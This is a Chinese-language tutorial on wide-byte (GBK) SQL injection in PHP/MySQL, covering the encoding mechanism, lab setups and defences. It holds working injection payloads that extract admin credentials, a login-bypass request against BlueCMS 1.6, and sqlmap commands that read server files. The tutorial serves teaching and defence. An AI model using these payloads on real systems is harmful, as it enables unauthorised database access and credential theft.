Hr-Papers|宽字节注入深度讲解
字数 1920 2025-08-18 11:37:07
宽字节注入深度解析与防御指南
一、宽字节注入原理
1.1 基本概念
- 宽字节:相对于ASCII单字节编码而言,如GB2312、GBK、GB18030、BIG5、Shift_JIS等
- 编码特点:
- GBK编码汉字占用2个字节
- UTF-8编码汉字占用3个字节
- 转义函数:用于过滤用户输入的特殊字符,添加反斜杠""进行转义
- MySQL常用转义函数:addslashes、mysql_real_escape_string、mysql_escape_string
- PHP配置:magic_quote_gpc(高版本已移除)
1.2 SQL执行过程
-
客户端编码:
- PHP默认编码为空时,会根据数据库编码自动确定
- 测试编码类型:
<?php $m = "字"; echo strlen($m); // 输出3为UTF-8,2为GBK
-
服务器处理:
- 使用character_set_client解码SQL语句
- 使用character_set_connection对解码后的十六进制重新编码
-
内部操作转换:
- 优先使用字段CHARACTER SET设定值
- 依次回退:表DEFAULT CHARACTER SET → 数据库DEFAULT CHARACTER SET → character_set_server
-
结果输出:
- 按照character_set_results编码输出结果
1.3 宽字节注入机制
- 当MySQL使用GBK编码时,会认为两个字符是一个汉字(前一个ASCII码>128)
- 注入过程:
%df%27 ===(addslashes)===> %df%5c%27 ===(GBK)===> 運'- %5c是反斜杠""的十六进制
- MySQL GBK编码将%df%5c识别为汉字"運",使单引号逃逸
二、实验环境搭建
2.1 实验1:基础宽字节注入
环境配置:
- 数据库名:test
- 数据库编码:GBK
- 关键代码:
$conn = mysql_connect('localhost','root','root'); mysql_query("SET NAMES 'gbk'"); mysql_select_db('test',$conn); $id = isset($_GET['id']) ? addslashes($_GET['id']) : 1; $sql = "SELECT * FROM news WHERE tid='{$id}'";
注入步骤:
- 测试单引号转义:
id=1'→ 被转义为\' - 使用宽字节逃逸:
id=1%df'→ 变为運' - 注释多余单引号:
id=1%df' -- ' - 确定字段数:
id=1%df' order by 4 -- ' - 确定显示位:
id=-1%df' union select 1,2,3 -- ' - 获取数据库信息:
id=-1%df' union select 1,2,database() -- ' - 获取表信息(使用十六进制避免引号):
id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x74657374 -- ' - 获取字段信息:
id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x61646d696e -- ' - 获取数据:
id=-1%df' union select 1,2,concat(name,char(58),pass) from admin -- '
2.2 实验2:iconv转换漏洞
环境特点:
- 使用iconv进行UTF-8到GBK转换
- 关键代码:
$id = iconv('utf-8','gbk',$id); mysql_query("SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary",$conn);
漏洞原理:
- 汉字"錦"的UTF-8编码:0xe98ca6,GBK编码:0xe55c
- 注入过程:
錦' ===(addslashes)===> 錦\' ===(iconv)===> %e5%5c%5c%27- %5c%5c转义反斜杠,使单引号逃逸
2.3 实验3:BlueCMS 1.6实战
漏洞位置:/admin/login.php
利用方式:
- 构造POST请求:
POST /bluecmsv1.6/uploads/admin/login.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded admin_name=admin%df' or 1=1 -- '&admin_pwd=11&submit=%B5%C7%C2%BC&act=do_login - 漏洞根源:
- 设置
SET NAMES gbk - 使用
deep_addslashes()函数调用addslashes() - SQL语句:
SELECT COUNT(*) AS num FROM blue_admin WHERE admin_name='1 運' or 1=1 -- ' and pwd = md5('$pwd')
- 设置
三、防御措施
3.1 有效防御方案
- 指定字符集:
mysql_set_charset('gbk'); // 或 SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary - 使用mysql_real_escape_string:
- 考虑当前设置的字符集
- 不会出现df和5c拼接为宽字节的问题
3.2 防御要点
- 必须同时满足:
- 正确设置字符集
- 使用mysql_real_escape_string进行转义
- 避免单独使用:
- 仅设置字符集无法防御
- 仅使用转义函数可能被宽字节绕过
四、工具利用
4.1 SQLMap使用
- 猜解当前用户:
python sqlmap.py -u "127.0.0.1/index.php?id=1%df'" --current-user - 读取服务器文件:
python sqlmap.py -u "127.0.0.1/index.php?id=1%df'" --file-read="./index.php" - 文件保存路径:
/root/.sqlmap/output/127.0.0.1/files
五、参考资源
- 字符编码基础:http://www.ruanyifeng.com/blog/2007/10/ascii_unicode_and_utf-8.html
- 宽字节注入详解:https://lyiang.wordpress.com/2015/06/09/sql注入:宽字节注入(gbk双字节绕过)